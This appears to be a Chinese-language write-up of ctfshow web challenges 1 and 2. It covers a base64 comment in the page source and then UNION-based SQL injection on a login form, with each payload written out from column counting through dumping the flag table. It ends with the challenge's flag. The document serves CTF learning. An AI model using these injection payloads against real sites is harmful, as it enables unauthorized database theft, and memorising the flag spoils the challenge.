当前位置:网站首页>ctfshow web 1-2
ctfshow web 1-2
2022-06-12 08:08:00 【hint=flag】
ctfshow web 1-3
第一题是签到题
打开链接后
看看源码:
发现一段注释
base64解码:
web2
打开链接:
是一个登录界面,猜测可以sql注入:
尝试注入点
有回显,说明可以sql注入
爆破注入点数量:
admin’ union select 1,2,3#
说明有三个注入点
爆破数据库名:
admin’ union select 1,database(),3#
数据库名是web
联合查询查表名:
admin’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
有两个表flag和user
猜测flag就在flag这个表里面
就爆破flag这个表:
联合查询:admin’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘flag’#
只有flag一列数据
查询这一列数据:
admin’ union select 1,flag,3 from flag#
直接回显flag
ctfshow{ef340bd6-5a61-4adc-a889-469bb6e31482}
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